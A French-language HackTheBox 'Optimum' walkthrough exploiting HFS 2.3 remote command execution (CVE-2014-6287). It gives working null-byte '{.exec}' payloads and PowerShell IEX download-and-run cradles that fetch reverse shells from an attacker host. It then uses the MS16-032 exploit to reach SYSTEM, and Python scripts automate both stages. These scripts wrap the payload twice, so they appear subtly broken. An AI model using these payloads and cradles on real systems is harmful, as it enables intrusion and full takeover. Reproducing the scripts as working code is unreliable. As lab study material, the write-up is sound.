Writeup HackTheBox : Optimum
Contexte
Une nouvelle box facile, j’ai une nouvelle fois essayé de ne pas utiliser Metasploit pour la résoudre.
Nmap
Comme d’habitude, on commence par scanner les ports avec Nmap :
nmap -A -T4 -p- -oA nmap/allTCPports 10.10.10.8
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-19 16:05 CET
Nmap scan report for 10.10.10.8
Host is up (0.028s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2012 (90%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (90%), Microsoft Windows Server 2012 R2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 27.86 ms 10.10.14.1
2 27.89 ms 10.10.10.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 469.05 seconds
L’angle d’attaque semble évident puisque seul le port 80 est ouvert.
Port 80 : HttpFileServer
Le logiciel HttpFileServer servi sur le port 80 permet le partage de fichiers via une interface web.
La version 2.3 présente ici souffre d’une faille permettant l’exécution de commandes à distance (RCE, CVE : CVE-2014-6287). Il suffit de passer un octet nul (NullByte : %00) au champ de recherche et d’utiliser la syntaxe de script pour HFS. D’après la documentation :
exec | A
ask system to run file A, eventually with parameters. If you need to use the pipe, then use macro quoting.
Optional parameter out will let you capture the console output of the program in the variable specified by name.
Optional parameter timeout will specify the max number of seconds the app should be left running.
Example: {.exec|notepad.}
Le payload devrait alors ressembler à ça :
%00{.exec|commande_à_exéctuer.}
Validation de la faille
Ping
Pour valider qu’il est possible d’exploiter cette faille, nous allons lancer un ping via la RCE vers notre machine et vérifier qu’il nous parvient bien.
On commence par écouter l’interface réseau connectée au VPN avec tcpdump
:
tcpdump -i tun0
Puis on lance la requête contenant le payload via notre navigateur :
http://10.10.10.8/?search=%00{.exec|ping 10.10.14.8.}
Notre tcpdump
lit bien des requêtes mais il ne s’agit pas de ping (requêtes HTTP dues à notre action sur le navigateur) :
root@kali:~/Documents/boxes/optimum# tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:43:08.756420 IP kali.58478 > 10.10.10.8.http: Flags [S], seq 2421383117, win 64240, options [mss 1460,sackOK,TS val 14308701 ecr 0,nop,wscale 7], length 0
16:43:08.782847 IP 10.10.10.8.http > kali.58478: Flags [S.], seq 3481412397, ack 2421383118, win 8192, options [mss 1357,nop,wscale 8,sackOK,TS val 735879 ecr 14308701], length 0
16:43:08.782869 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 14308727 ecr 735879], length 0
16:43:08.782999 IP kali.58478 > 10.10.10.8.http: Flags [P.], seq 1:394, ack 1, win 502, options [nop,nop,TS val 14308728 ecr 735879], length 393: HTTP: GET /?search=%00{.exec|ping%2010.10.14.8.} HTTP/1.1
16:43:08.866194 IP 10.10.10.8.http > kali.58478: Flags [.], ack 394, win 257, options [nop,nop,TS val 735888 ecr 14308728], length 0
16:43:08.871642 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1:194, ack 394, win 257, options [nop,nop,TS val 735889 ecr 14308728], length 193: HTTP: HTTP/1.1 200 OK
16:43:08.871679 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 194, win 501, options [nop,nop,TS val 14308816 ecr 735889], length 0
16:43:08.904772 IP 10.10.10.8.http > kali.58478: Flags [.], seq 194:1539, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 1345: HTTP
16:43:08.904802 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1539, win 501, options [nop,nop,TS val 14308849 ecr 735892], length 0
16:43:08.904843 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1539:1654, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 115: HTTP
16:43:08.904851 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1654, win 501, options [nop,nop,TS val 14308849 ecr 735892], length 0
16:43:08.904866 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1654:1916, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 262: HTTP
En précisant le chemin complet de la commande ping, nous pouvons observer les requêtes ICMP sur notre tcpdump
:
http://10.10.10.8/?search=%00{.exec|c:\Windows\System32\ping.exe 10.10.14.8.}
root@kali:~/Documents/boxes/optimum/assets# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:47:12.003025 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 49, length 40
10:47:12.003048 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 49, length 40
10:47:12.005199 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 50, length 40
10:47:12.005213 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 50, length 40
10:47:12.007426 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 51, length 40
10:47:12.007436 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 51, length 40
10:47:12.010793 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 52, length 40
10:47:12.010817 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 52, length 40
Powershell
Nous allons maintenant vérifier si l’exécution de Powershell
est possible. En effet, je trouve que les reverse shell en powershell
sont plus stables et plus agréables à utiliser. De plus, ils ouvrent plus de possibilités pour la recherche d’élévation de privilèges.
Nmap nous a informé qu’il était presque sûr que Windows Server 2012/2012R2 soit le système d’exploitation présent sur cette box. Il s’agirait donc d’un système 64 bits. On va indiquer le chemin de la version 64 bits de powershell
. Le nouveau payload va maintenant ressembler à ça :
%00{.exec|c:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c ping 10.10.14.8.}
root@kali:~/Documents/boxes/optimum# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:14:52.444554 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 65, length 40
11:14:52.444612 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 65, length 40
11:14:52.446759 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 66, length 40
11:14:52.446784 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 66, length 40
11:14:52.448862 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 67, length 40
11:14:52.448893 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 67, length 40
11:14:52.563290 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 68, length 40
11:14:52.563310 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 68, length 40
11:14:53.462905 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 69, length 40
11:14:53.462920 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 69, length 40
Bonne nouvelle, on va pouvoir utiliser Powershell
.
Exploitation
Préparation du reverse shell
Une rapide recherche sur Kali nous permet de trouver des reverse shell pour powershell
locate -i powershelltcp
/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLineBind.ps1
On copie Invoke-PowerShellTcp.ps1 dans notre répertoire de travail, on le modifie pour y ajouter la ligne suivante :
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 7799
et on le sert en HTTP via python :
python3 -m http.server 80
Shell
C’est prêt, il ne nous reste plus qu’à mettre Netcat en écoute sur le port 7799 :
nc -lvnp 7799
et à lancer le nouveau payload :
%00{.exec|c:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Invoke-PowerShellTcpOneLine.ps1').}
Note : la commande IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Invoke-PowerShellTcpOneLine.ps1')
permet de télécharger et exécuter le script “Invoke-PowerShellTcpOneLine.ps1” en une seule commande.
On peut repérer que le fichier a bien été récupéré via le serveur web lancé par python, dans ses logs :
root@kali:~/Documents/boxes/optimum/www# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:18] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
Pour une raison que j’ignore, le fichier est récupéré quatre fois.
Nous avons maintenant un shell sur la machine.
root@kali:~/Documents/boxes/optimum/assets# nc -lvnp 7799
listening on [any] 7799 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.8] 49407
Windows PowerShell running as user kostas on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\kostas\Desktop> hostname
optimum
PS C:\Users\kostas\Desktop> whoami
optimum\kostas
Le premier Flag se situe sur le bureau (c:\users\kostas\Desktop) de notre utilisateur.
Automatisation
Comme les box ne sont pas toujours stables, j’aime bien écrire un script permettant d’automatiser le processus. Cela me permet aussi de reset mon reverse shell à volonté :
#!/usr/bin/python3
# Script écrit pour Optimum de Hack The Box
# Permet l'accès au shell utilisateur
# Nécessite un reverse shell en powershell renommé en rs.ps1
# ex : /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 dans kali
# servi en HTTP sur le port 80
# ex : python3 -m http.server 80
# et bien sûr un listener
# ex : nc -lvnp 7788
import requests
# Définition des variables
LHOST = "10.10.14.8"
LPORT = "7788"
URL = "http://10.10.10.8"
RPORT = "80"
proxy = { "http": "http://127.0.0.1:8080"}
# Création du payload
def create_payload(cmd):
payload = "%00{.exec|"+cmd+".}"
return payload
# Envoi de la requête contenant le payload vers le serveur
def exploit(payload):
payload = create_payload(payload)
url = URL + ":" + RPORT
r = requests.get(url + "/?search=%00{.exec|" + payload + ".}") #, proxies=proxy)
upload_ps_rs = "c:\Windows\sysnative\WindowsPowerShell\\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://" + LHOST + ":80/rs.ps1')"
exploit(upload_ps_rs)
Il faudra bien sûr un netcat
en écoute et le reverse shell servi par HTTP
.
Élévation de privilèges
Recherche de vulnérabilités
Cette box date de 2017, on ne va donc pas utiliser d’outils permettant de trouver des vulnérabilités trop récentes.
Nous allons nous servir de Sherlock, un script en powershell
permettant la recherche de vulnérabilités sous Windows.
On modifie le fichier sherlock.ps1 pour y ajouter la ligne suivante tout à la fin :
Find-AllVulns
On le sert par HTTP puis, depuis notre shell, on télécharge et exécute sherlock :
IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Sherlock.ps1')
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
6-034?
VulnStatus : Appears Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
tml
VulnStatus : Not Vulnerable
Sherlock nous indique que la machine semble vulnérable à MS16-032 (CVE-2016-0099).
MS16-032
Encore une fois, une petite recherche dans Kali nous permet de trouver un exploit tout fait (merci feu Empire).
root@kali:~/Documents/boxes/optimum/assets# locate -i ms16032
/opt/Empire/data/module_source/privesc/Invoke-MS16032.ps1
Comme précédemment, on copie le script dans notre répertoire de travail afin de le servir en HTTP, on y ajoute la ligne suivante :
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.8:80/rs1.ps1')"
où rs1.ps1 est notre reverse shell powershell
précédemment utilisé. On prépare notre netcat
:
nc -lvnp 7799
on sert les fichiers par HTTP :
python3 -m http.server 80
Enfin, depuis notre shell, on lance le téléchargement/exécution de l’exploit :
IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/ms16032')
Les logs HTTP nous montrent que les deux fichiers sont correctement téléchargés et exécutés
root@kali:~/Documents/boxes/optimum/www# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [20/Feb/2021 12:36:36] "GET /ms16032 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 12:36:44] "GET /rs1.ps1 HTTP/1.1" 200 -
et notre Netcat nous montre un joli Shell root :
root@kali:~/Documents/boxes/optimum/assets# nc -lvnp 7799
listening on [any] 7799 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.8] 49176
Windows PowerShell running as user OPTIMUM$ on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\kostas\Desktop>hostname
optimum
PS C:\Users\kostas\Desktop> whoami
nt authority\system
Automatisation
Comme précédemment, voici un script python permettant d’automatiser les choses :
#!/usr/bin/python3
# Script écrit pour Optimum de Hack The Box
# Permet l'accès au shell "nt authority\system"
# Nécessite :
# + un reverse shell en powershell renommé en rs.ps1
# ex : /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 dans Kali
# + un exploit en powershell pour ms16-032 renommé en ms16032
# exemple : /opt/Empire/data/module_source/privesc/Invoke-MS16032.ps1 dans Kali
# + le tout servi en HTTP sur le port 80
# ex : python3 -m http.server 80
# + et bien sûr un listener
# ex : nc -lvnp 7788
import requests
# Définition des variables
LHOST = "10.10.14.8"
LPORT = "7788"
URL = "http://10.10.10.8"
RPORT = "80"
proxy = { "http": "http://127.0.0.1:8080"}
# Création du payload
def create_payload(cmd):
payload = "%00{.exec|"+cmd+".}"
return payload
# Envoi de la requête contenant le payload vers le serveur
def exploit(payload):
payload = create_payload(payload)
url = URL + ":" + RPORT
r = requests.get(url + "/?search=%00{.exec|" + payload + ".}") #, proxies=proxy)
upload_ps_rs = "c:\Windows\sysnative\WindowsPowerShell\\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://" + LHOST + ":80/ms16032')"
exploit(upload_ps_rs)